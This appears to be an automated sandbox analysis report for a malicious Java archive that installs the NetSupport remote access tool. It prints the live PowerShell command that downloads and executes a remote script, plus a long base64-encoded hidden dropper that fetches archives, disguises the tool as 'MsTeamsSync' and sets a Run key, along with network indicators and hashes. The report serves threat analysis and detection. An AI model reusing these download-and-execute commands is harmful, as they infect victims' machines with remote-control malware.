Analysis Overview
SHA256
47131d54c85921d4c80a9c5127b1051fa6fc5edf47b705d42ec3c4a19190734c
Threat Level: Known bad
The file Application.jar was found to be: Known bad.
Malicious Activity Summary
NetSupport
Blocklisted process makes network request
Command and Scripting Interpreter: PowerShell
Executes dropped EXE
Loads dropped DLL
Adds Run key to start application
Drops file in Windows directory
System Location Discovery: System Language Discovery
Suspicious use of WriteProcessMemory
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of FindShellTrayWindow
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-10-08 20:51
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-10-08 20:51
Reported
2024-10-08 20:53
Platform
win7-20240729-en
Max time kernel
118s
Max time network
122s
Command Line
Signatures
Processes
C:\Windows\system32\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\Application.jar
Network
Files
memory/2412-2-0x00000000026E0000-0x0000000002950000-memory.dmp
memory/2412-11-0x0000000000350000-0x0000000000351000-memory.dmp
memory/2412-12-0x00000000026E0000-0x0000000002950000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-10-08 20:51
Reported
2024-10-08 20:53
Platform
win10v2004-20241007-en
Max time kernel
93s
Max time network
132s
Command Line
Signatures
NetSupport
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\MsTeamsSync\client32.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\MsTeamsSync\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\MsTeamsSync\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\MsTeamsSync\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\MsTeamsSync\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\MsTeamsSync\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\MsTeamsSync\client32.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MsTeamsSync = "C:\\Users\\Admin\\AppData\\Roaming\\MsTeamsSync\\client32.exe" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File created | C:\Windows\Tasks\saint_1869.ps1 | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Roaming\MsTeamsSync\client32.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeSecurityPrivilege | N/A | C:\Users\Admin\AppData\Roaming\MsTeamsSync\client32.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\MsTeamsSync\client32.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Program Files (x86)\Common Files\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\Application.jar
C:\Windows\SYSTEM32\cmd.exe
cmd /c powershell -nologo -noninteractive -command Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser -Force; Invoke-WebRequest -Uri https://www.xcodll.com/application/saint_1869.ps1 -OutFile C:\Windows\Tasks\saint_1869.ps1; IEX('C:\Windows\Tasks\saint_1869.ps1')
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noninteractive -command Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser -Force; Invoke-WebRequest -Uri https://www.xcodll.com/application/saint_1869.ps1 -OutFile C:\Windows\Tasks\saint_1869.ps1; IEX('C:\Windows\Tasks\saint_1869.ps1')
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nOPR -eXEcutiOnpo BYPASS -WI HId -Enc JABhAGYAUQBaAEoAUgAzAGYAPQAnAEkAYwBVADAAbABzAC4AegBpAHAAJwA7ACAAJABXAEkAbgBHAGMAcwA9ACcATAB0AFQANgBiAGwAUQAuAHoAaQBwACcAOwAgACQATgAxAHgAOABCADMAZgA9ACcAaAB0AHQAcABzADoALwAvAHQAbwBnAG8AZgB1AG4AZAAuAGMAbwBtAC8AYQByAGsAcwAvADMAYwBvAHIAbgAuAHoAaQBwACcAOwAgACQAWgBrAG0AbQBKADYAagBWAD0AJwBNAHMAVABlAGEAbQBzAFMAeQBuAGMAJwA7ACAAJABQAFYAYQBUAFYAZwA3ADcAPQAnAHcAVQBaAG4AbgAuAHoAaQBwACcAOwAgACQAaQA5ADUAagA4AGMAUAA9ACcAaAB0AHQAcABzADoALwAvAHQAbwBnAG8AZgB1AG4AZAAuAGMAbwBtAC8AYQByAGsAcwAvAGMAbwByAG4AMQAuAHoAaQBwACcAOwAgACQANAB2AGgAVwBCAD0AJwBoAHQAdABwAHMAOgAvAC8AdABvAGcAbwBmAHUAbgBkAC4AYwBvAG0ALwBhAHIAawBzAC8AYwBvAHIAbgAyAC4AegBpAHAAJwA7ACAAWwBuAGUAVAAuAFMARQByAFYASQBjAGUAUABPAEkAbgB0AE0AYQBOAGEAZwBlAFIAXQA6ADoAUwBFAEMAdQBSAGkAdAB5AHAAUgBPAFQAbwBjAE8ATAAgAD0AIABbAG4AZQBUAC4AUwBlAGMAVQBSAEkAdAB5AFAAcgBvAHQATwBjAG8ATAB0AFkAUABlAF0AOgA6AHQAbABzADEAMgA7ACAAJABRAHIAdABEAHMAVQA9ACcAaAB0AHQAcABzADoALwAvAHQAbwBnAG8AZgB1AG4AZAAuAGMAbwBtAC8AYQByAGsAcwAvADQAYwBvAHIAbgAuAHoAaQBwACcAOwAgACQANABGAFgANQBBAHIAYQA9ACcAUwBYAEEAagA0ADAAMABKAC4AegBpAHAAJwA7ACAAJABtAEsAZgB3AE0AWAByAG4APQBnAGMATQAgAEUAeABQAGEATgBEAC0AYQByAGMAaABJAFYAZQAgAC0ARQByAFIAbwBSAEEAQwB0AGkAbwBuACAAUwBJAEwARQBOAHQAbAB5AGMAbwBOAHQASQBuAFUAZQA7ACAAQwBIAEQAaQByACAAJABFAG4AVgA6AEEAUABQAGQAYQB0AGEAOwAgACQAQgBmAHUAVABNAD0AZwBjAE0AIABTAHQAYQBSAFQALQBCAGkAVABzAHQAcgBhAE4AUwBmAGUAUgAgAC0ARQBSAHIAbwByAGEAQwBUAEkAbwBuACAAUwBpAGwARQBOAFQAbABZAGMAbwBuAFQASQBOAHUARQA7ACAAJABJAEoAaQBFAEoAPQAiAHsAMAB9AFwAewAxAH0AIgAgAC0AZgAgACQARQBuAHYAOgBBAFAAUABkAGEAVABBACwAIAAkAFAAVgBhAFQAVgBnADcANwA7ACAAJABvAHYAVwBIAEIAPQAiAHsAMAB9AFwAewAxAH0AIgAgAC0AZgAgACQARQBuAFYAOgBhAHAAUABEAEEAdABBACwAIAAkAGEAZgBRAFoASgBSADMAZgA7ACAAJABEAFcAQQByAEkARQBtADQAPQAiAHsAMAB9AFwAewAxAH0AIgAgAC0AZgAgACQARQBuAFYAOgBhAHAAUABEAEEAdABBACwAIAAkAFcASQBuAEcAYwBzADsAIAAkAFMAaABuAEgAMAA2AEwAMAA9AGoAbwBJAG4ALQBwAGEAdABoACAALQBQAGEAdABIACAAJABFAG4AdgA6AEEAUABQAGQAQQBUAEEAIAAtAEMAaABpAGwAZABwAEEAdABoACAAJAA0AEYAWAA1AEEAcgBhADsAIAAkAGsAcgBwADEAYgBZAGwANAA9AEoAbwBJAE4ALQBQAGEAdABIACAALQBwAEEAdABoACAAJABFAE4AdgA6AEEAcABwAGQAYQBUAGEAIAAtAEMAaABpAGwAZABQAEEAdABIACAAJABaAGsAbQBtAEoANgBqAFYAOwAgACQAcQBmAFgAMQBFAEQAPQAiAGIASQB0AHMAYQBEAE0AaQBuAC4ARQBYAGUAIAAvAFQAUgBhAG4AcwBGAGUAcgAgAE8ANABHAE8AbABmAHoAUQAgAC8ARABPAFcAbgBMAG8AYQBEACAALwBwAHIASQBvAFIAaQB0AFkAIABOAE8AUgBNAEEATAAgAHsAMAB9ACAAewAxAH0AIgAgAC0AZgAgACQANAB2AGgAVwBCACwAIAAkAFMAaABuAEgAMAA2AEwAMAA7ACAAJABGAFUARQAwAHMAbwBHADkAPQAiAGIAaQB0AHMAYQBkAG0AaQBuAC4ARQB4AEUAIAAvAFQAcgBBAG4AcwBGAGUAUgAgAEwAZABLAGoAZQBlAEYAIAAvAGQATwBXAG4AbABPAGEAZAAgAC8AUABSAEkATwByAEkAdABZACAATgBPAHIATQBBAEwAIAB7ADAAfQAgAHsAMQB9ACIAIAAtAGYAIAAkAGkAOQA1AGoAOABjAFAALAAgACQARABXAEEAcgBJAEUAbQA0ADsAIAAkADkAYwBDAG0AcgA9ACIAQgBpAFQAUwBhAEQATQBJAE4ALgBFAHgAZQAgAC8AVABSAGEAbgBTAEYARQBSACAARgB3AFoANwAwAFIAYQBIACAALwBkAG8AVwBuAGwATwBhAEQAIAAvAHAAcgBJAG8AUgBpAHQAWQAgAE4ATwByAE0AQQBsACAAewAwAH0AIAB7ADEAfQAiACAALQBmACAAJABOADEAeAA4AEIAMwBmACwAIAAkAEkASgBpAEUASgA7ACAAJABRAGMAVQBiAGEAPQAnAGIAaQB0AHMAYQBkAG0AaQBuAC4ARQB4AEUAIAAvAFQAcgBBAG4AcwBGAGUAUgAgAEwAZABLAGoAZQBlAEYAIAAvAGQATwBXAG4AbABPAGEAZAAgAC8AUABSAEkATwByAEkAdABZACAATgBPAHIATQBBAEwAJwAsACAAJABRAHIAdABEAHMAVQAsACAAJABvAHYAVwBIAEIAIAAtAEoAbwBpAE4AIAAnACAAJwA7ACAASQBGACAAKAAkAG0ASwBmAHcATQBYAHIAbgApACAAewAgAEkAZgAgACgAJABCAGYAdQBUAE0AKQAgAHsAIABzAHQAYQByAFQALQBiAGkAVABTAHQAcgBhAE4AcwBGAEUAUgAgAC0AUwBPAFUAcgBjAEUAIAAkAE4AMQB4ADgAQgAzAGYAIAAtAGQARQBTAFQASQBOAEEAdABpAE8AbgAgACQASQBKAGkARQBKADsAIABTAHQAQQBSAFQALQBCAGkAVABzAHQAUgBhAG4AcwBGAEUAcgAgAC0AUwBPAFUAcgBjAEUAIAAkAFEAcgB0AEQAcwBVACAALQBkAEUAcwB0AGkATgBBAHQASQBvAG4AIAAkAG8AdgBXAEgAQgA7ACAAcwB0AEEAUgB0AC0AQgBJAFQAcwB0AFIAQQBOAHMARgBFAHIAIAAtAFMATwBVAFIAQwBFACAAJABpADkANQBqADgAYwBQACAALQBkAEUAcwBUAEkAbgBhAHQAaQBvAE4AIAAkAEQAVwBBAHIASQBFAG0ANAA7ACAAUwB0AGEAcgBUAC0AQgBpAHQAUwBUAFIAQQBuAHMARgBFAFIAIAAtAFMATwB1AHIAQwBFACAAJAA0AHYAaABXAEIAIAAtAGQARQBTAFQAaQBuAEEAVABpAG8ATgAgACQAUwBoAG4ASAAwADYATAAwADsAIAB9ACAARQBsAFMARQAgAHsASQBuAHYATwBrAEUALQBlAFgAcAByAEUAUwBzAGkAbwBOACAALQBDAE8AbQBNAGEATgBkACAAJABxAGYAWAAxAEUARAA7ACAAaQBlAHgAIAAtAGMAbwBtAG0AYQBuAGQAIAAkAEYAVQBFADAAcwBvAEcAOQA7ACAAaQBlAHgAIAAtAGMAbwBtAG0AYQBuAGQAIAAkAFEAYwBVAGIAYQA7ACAAJgAgACQAOQBjAEMAbQByADsAIAB9ACAARQBYAHAAYQBuAGQALQBhAHIAYwBoAGkAdgBlACAALQBQAEEAdABIACAAJABvAHYAVwBIAEIAIAAtAEQARQBTAHQAaQBOAEEAdABJAE8ATgBwAGEAdABoACAAJABrAHIAcAAxAGIAWQBsADQAOwAgAEUAeABQAEEATgBkAC0AQQBSAEMAaABpAHYARQAgAC0AcABhAFQASAAgACQARABXAEEAcgBJAEUAbQA0ACAALQBkAEUAUwBUAEkATgBhAHQASQBvAG4AUABBAHQASAAgACQAawByAHAAMQBiAFkAbAA0ADsAIABFAHgAUABhAE4AZAAtAGEAcgBDAEgASQB2AGUAIAAtAFAAQQBUAGgAIAAkAFMAaABuAEgAMAA2AEwAMAAgAC0ARABFAHMAdABJAG4AQQB0AEkAbwBuAFAAQQBUAEgAIAAkAGsAcgBwADEAYgBZAGwANAA7ACAAZQBYAHAAQQBOAGQALQBBAFIAQwBIAGkAdgBFACAALQBwAGEAVABIACAAJABJAEoAaQBFAEoAIAAtAEQAZQBTAHQAaQBOAGEAVABpAG8AbgBwAEEAVABoACAAJABrAHIAcAAxAGIAWQBsADQAOwAgAFIASQAgAC0AUABBAHQASAAgACQAbwB2AFcASABCADsAIAByAE0AIAAtAHAAYQBUAEgAIAAkAFMAaABuAEgAMAA2AEwAMAA7ACAARQByAGEAUwBlACAALQBQAEEAVABoACAAJABJAEoAaQBFAEoAOwAgAHIATQAgAC0AcABhAHQAaAAgACQARABXAEEAcgBJAEUAbQA0ADsAIAB9ACAAZQBsAHMAZQAgAHsAIAAkADMATQBUAG4AdwBTAGoAPQBAACgAJwBIAFQAQwBUAEwAMwAyAC4ARABMAEwAJwAsACAAJwBjAGwAaQBlAG4AdAAzADIALgBpAG4AaQAnACwAIAAnAG4AcwBrAGIAZgBsAHQAcgAuAGkAbgBmACcALAAgACcAQQB1AGQAaQBvAEMAYQBwAHQAdQByAGUALgBkAGwAbAAnACwAIAAnAFAAQwBJAEMASABFAEsALgBEAEwATAAnACwAIAAnAHAAYwBpAGMAYQBwAGkALgBkAGwAbAAnACwAIAAnAG4AcwBtAF8AdgBwAHIAbwAuAGkAbgBpACcALAAgACcAYwBsAGkAZQBuAHQAMwAyAC4AZQB4AGUAJwAsACAAJwBtAHMAdgBjAHIAMQAwADAALgBkAGwAbAAnACwAIAAnAFAAQwBJAEMATAAzADIALgBEAEwATAAnACwAIAAnAFQAQwBDAFQATAAzADIALgBEAEwATAAnACwAIAAnAE4AUwBNAC4ATABJAEMAJwAsACAAJwByAGUAbQBjAG0AZABzAHQAdQBiAC4AZQB4AGUAJwApADsAIABuAGkAIAAtAHAAQQBUAGgAIAAkAGUATgBWADoAQQBQAHAARABhAFQAQQAgAC0ATgBhAE0ARQAgACQAWgBrAG0AbQBKADYAagBWACAALQBJAHQARQBtAHQAeQBwAEUAIAAnAGQAaQByAGUAYwB0AG8AcgB5ACcAOwAgACQAawAxAHUASgBvAD0AJwBoAHQAdABwAHMAOgAvAC8AdABvAGcAbwBmAHUAbgBkAC4AYwBvAG0ALwBmAGkAZABlAC8AJwA7ACAASQBmACAAKAAkAEIAZgB1AFQATQApACAAewAgACQAMwBNAFQAbgB3AFMAagAgAHwAIABGAG8AUgBlAGEAQwBoACAAewAgACQAdABFAEcASwBBAD0AJABrADEAdQBKAG8AKwAkAF8AOwAgACQAaABvAEsASABGAD0AagBPAGkATgAtAFAAQQB0AGgAIAAtAFAAQQB0AGgAIAAkAGsAcgBwADEAYgBZAGwANAAgAC0AYwBIAEkAbABEAFAAYQB0AEgAIAAkAF8AOwAgAHMAdABhAHIAdAAtAEIASQBUAFMAVAByAEEATgBzAEYAZQByACAALQBzAE8AVQByAGMARQAgACQAdABFAEcASwBBACAALQBkAEUAcwBUAEkATgBhAHQASQBPAG4AIAAkAGgAbwBLAEgARgA7ACAAfQA7AH0AIABlAGwAcwBlACAAewAgACQAMwBNAFQAbgB3AFMAagAgAHwAIABmAG8AUgBFAGEAQwBIACAAewAgACQAdABFAEcASwBBAD0AJABrADEAdQBKAG8AKwAkAF8AOwAgACQAaABvAEsASABGAD0AagBPAGkATgAtAFAAQQB0AGgAIAAtAFAAQQB0AGgAIAAkAGsAcgBwADEAYgBZAGwANAAgAC0AYwBIAEkAbABEAFAAYQB0AEgAIAAkAF8AOwAgACQATQA4AFcAUABMAD0AIgBiAGkAdABTAGEARABtAGkATgAuAEUAeABlACAALwBUAFIAQQBuAFMARgBFAFIAIABvAEcAVgB3ADgAdABtAEwAIAAvAEQATwB3AE4ATABPAEEAZAAgAC8AUAByAEkATwBSAGkAdAB5ACAAbgBvAHIATQBhAGwAIAAkAHQARQBHAEsAQQAgACQAaABvAEsASABGACIAOwAgAGkARQBYACAALQBjAE8AbQBtAEEATgBEACAAJABNADgAVwBQAEwAOwB9ADsAIAB9ADsAIAB9ADsAIAAkAFYAOABUAHgAcAA9AEcARQBUAC0AaQBUAGUAbQAgACQAawByAHAAMQBiAFkAbAA0ACAALQBGAE8AUgBDAGUAOwAgACQAVgA4AFQAeABwAC4AYQB0AFQAUgBJAEIAdQBUAEUAUwA9ACcASABpAGQAZABlAG4AJwA7ACAAQwBIAEQAaQByACAAJABrAHIAcAAxAGIAWQBsADQAOwAgACQARgBoAEYAbwBRAD0AJABrAHIAcAAxAGIAWQBsADQAKwAnAFwAYwBsAGkAZQBuAHQAMwAyAC4AZQB4AGUAJwA7ACAAbgBlAFcALQBJAFQAZQBtAHAAUgBPAFAARQByAHQAWQAgAC0AUABhAHQAaAAgACcASABLAEMAVQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AJwAgAC0ATgBhAE0ARQAgACQAWgBrAG0AbQBKADYAagBWACAALQB2AGEATAB1AGUAIAAkAEYAaABGAG8AUQAgAC0AUABSAG8AcABFAFIAdABZAFQAeQBwAEUAIAAnAFMAdAByAGkAbgBnACcAOwAgAHMAVABBAHIAdAAtAHAAcgBvAEMAZQBTAFMAIABjAGwAaQBlAG4AdAAzADIALgBlAHgAZQA7AA==
C:\Users\Admin\AppData\Roaming\MsTeamsSync\client32.exe
"C:\Users\Admin\AppData\Roaming\MsTeamsSync\client32.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | www.xcodll.com | udp |
| US | 199.192.19.104:443 | www.xcodll.com | tcp |
| US | 8.8.8.8:53 | 136.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 79.190.18.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 104.19.192.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | togofund.com | udp |
| NL | 23.254.231.141:443 | togofund.com | tcp |
| US | 8.8.8.8:53 | 141.231.254.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | yntvet.com | udp |
| NL | 91.202.5.18:443 | yntvet.com | tcp |
| US | 8.8.8.8:53 | geo.netsupportsoftware.com | udp |
| US | 172.67.68.212:80 | geo.netsupportsoftware.com | tcp |
| US | 8.8.8.8:53 | 18.5.202.91.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 212.68.67.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 212.20.149.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 206.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 137.190.18.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 78.190.18.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 11.227.111.52.in-addr.arpa | udp |
Files
memory/8-2-0x000001CB37E70000-0x000001CB380E0000-memory.dmp
memory/8-12-0x000001CB36660000-0x000001CB36661000-memory.dmp
memory/8-13-0x000001CB37E70000-0x000001CB380E0000-memory.dmp
memory/60-14-0x00007FFD4E7C3000-0x00007FFD4E7C5000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_srr4u521.5rl.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/60-20-0x0000015FED360000-0x0000015FED382000-memory.dmp
memory/60-25-0x00007FFD4E7C0000-0x00007FFD4F281000-memory.dmp
memory/60-26-0x00007FFD4E7C0000-0x00007FFD4F281000-memory.dmp
C:\Windows\Tasks\saint_1869.ps1
| MD5 | 0e49333de50a8a3db16f714990052c83 |
| SHA1 | 2866de43c124f3942434c41f73d4de3015463180 |
| SHA256 | fe3abbdd4e00d96d32a444fa1201213100e1e26713db0fe8e6fd8dc1f1f7516f |
| SHA512 | e7c744848ca0d48e7e0f1b76db9f781907584c586d5b1f0bd9349f592b29b52330b41c38391f747e0ddb79ecf5f3396d2d8ab7e3ec7df24d69fe06cdab08ec1f |
memory/3764-44-0x0000026BCD3B0000-0x0000026BCD3D6000-memory.dmp
memory/3764-45-0x0000026BCD460000-0x0000026BCD474000-memory.dmp
memory/3764-46-0x0000026BCD4A0000-0x0000026BCD4B2000-memory.dmp
memory/3764-47-0x0000026BCD490000-0x0000026BCD49A000-memory.dmp
C:\Users\Admin\AppData\Roaming\MsTeamsSync\client32.exe
| MD5 | f65f9a00a701a06ea714674a554ab400 |
| SHA1 | 7769b3bfd3caf4038cf740dc40a40f15174893b5 |
| SHA256 | e7a78714ffe2e00aa7739fd0184ebb7b6ee239a7345079ab9074ba244f4e7f09 |
| SHA512 | 76a278edd341c1d2befb1a12c42acb93f07d3d355d270b9a1041089f6f591ad8a6c7e2d2538c2594ad615475d2bff9a006273039eea84fdb1030cf2030767174 |
C:\Users\Admin\AppData\Roaming\MsTeamsSync\PCICL32.dll
| MD5 | af76608b5cd0f689c0f0eb5ca049e71d |
| SHA1 | af6559d12037f736ebd3326200c660fa88ffbc6d |
| SHA256 | 7344430e98aeedfc5b58e23a85e32fea8258f6f2b32d7819e6dea5803d7ad20b |
| SHA512 | 2fb8db47e5acc11b885e00eb91d421b70540d4d300a4a97a8ac6a7c94b981be219f1128f41fb3401ae6e4b5610acb81a861f47defd69cd689ba7f08634a45223 |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 6c36bb464ae2e6ef913b83d7048e8e94 |
| SHA1 | 4e073a932c58b067164f93b48ed10d62969f4776 |
| SHA256 | 4230cb0a9d772f5ee4949502aeb7224fd304140246567dae5c1a37e451396848 |
| SHA512 | b50d381d923c78e586c3304f392f64b31a820802a09342edc4dcb7c12bc59207d044355ea3149242727b7e9806a2f3016bb8dbf6566beb16bc0c30d6a5d0629e |
C:\Users\Admin\AppData\Roaming\MsTeamsSync\pcicapi.dll
| MD5 | dcde2248d19c778a41aa165866dd52d0 |
| SHA1 | 7ec84be84fe23f0b0093b647538737e1f19ebb03 |
| SHA256 | 9074fd40ea6a0caa892e6361a6a4e834c2e51e6e98d1ffcda7a9a537594a6917 |
| SHA512 | c5d170d420f1aeb9bcd606a282af6e8da04ae45c83d07faaacb73ff2e27f4188b09446ce508620124f6d9b447a40a23620cfb39b79f02b04bb9e513866352166 |
C:\Users\Admin\AppData\Roaming\MsTeamsSync\MSVCR100.dll
| MD5 | 0e37fbfa79d349d672456923ec5fbbe3 |
| SHA1 | 4e880fc7625ccf8d9ca799d5b94ce2b1e7597335 |
| SHA256 | 8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18 |
| SHA512 | 2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630 |
C:\Users\Admin\AppData\Roaming\MsTeamsSync\pcichek.dll
| MD5 | a0b9388c5f18e27266a31f8c5765b263 |
| SHA1 | 906f7e94f841d464d4da144f7c858fa2160e36db |
| SHA256 | 313117e723dda6ea3911faacd23f4405003fb651c73de8deff10b9eb5b4a058a |
| SHA512 | 6051a0b22af135b4433474dc7c6f53fb1c06844d0a30ed596a3c6c80644df511b023e140c4878867fa2578c79695fac2eb303aea87c0ecfc15a4ad264bd0b3cd |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | b0fc481e1059b4b1301d4112c0fee415 |
| SHA1 | 06873d7f15b3673434f160d41b064646486eb05c |
| SHA256 | f02a5fa530462fd721fd7f7b530f4bf4ed99155938d5fe601be4f6146a19bf05 |
| SHA512 | 48b50f15d2ae2f90e89b95cd7d411bf73b91d750731e30b10df4fd571ecfa7c23d38ea16457527f3d7b2678cdfb4587618e08bb5ce3a0ea511893be235f65556 |
C:\Users\Admin\AppData\Roaming\MsTeamsSync\client32.ini
| MD5 | d1844f69e52b7499f8da7bd9efd38317 |
| SHA1 | daf85286f6d54d1ffc50c04c8f9983567138c365 |
| SHA256 | 02f9b3a1de0872a80e3198a04b2adad1b3543c5731058fed5c7dfe1bd87dc87b |
| SHA512 | aeb5aec7ff7913f50a3d29cfd7555a5d7065034a18d61354f63d9c98dccc2e60e58c2bd7712adb900fec438e9059a911a898f3db1039be80abfaccb0390f3dab |
C:\Users\Admin\AppData\Roaming\MsTeamsSync\NSM.LIC
| MD5 | 3589f7a4f84733c7b7bd2b09a66a254d |
| SHA1 | 37f81ddcf80c91e981c44e0eafcdb6d77a1f7678 |
| SHA256 | c6ef8a3d84ebe0230e87daf7b5f06ad1b80de62dfd5fb6dca60d2040bbb6ee63 |
| SHA512 | 324a2c60a99cb59e6576b98757ddc81a0e702db0e72b479e559877d1c3a5ec2915012df2612ab33da254ac9067246532f66a582d0d6fa362369782979230721c |
C:\Users\Admin\AppData\Roaming\MsTeamsSync\HTCTL32.DLL
| MD5 | 2d3b207c8a48148296156e5725426c7f |
| SHA1 | ad464eb7cf5c19c8a443ab5b590440b32dbc618f |
| SHA256 | edfe2b923bfb5d1088de1611401f5c35ece91581e71503a5631647ac51f7d796 |
| SHA512 | 55c791705993b83c9b26a8dbd545d7e149c42ee358ecece638128ee271e85b4fdbfd6fbae61d13533bf39ae752144e2cc2c5edcda955f18c37a785084db0860c |
memory/60-141-0x00007FFD4E7C0000-0x00007FFD4F281000-memory.dmp
memory/60-140-0x00007FFD4E7C0000-0x00007FFD4F281000-memory.dmp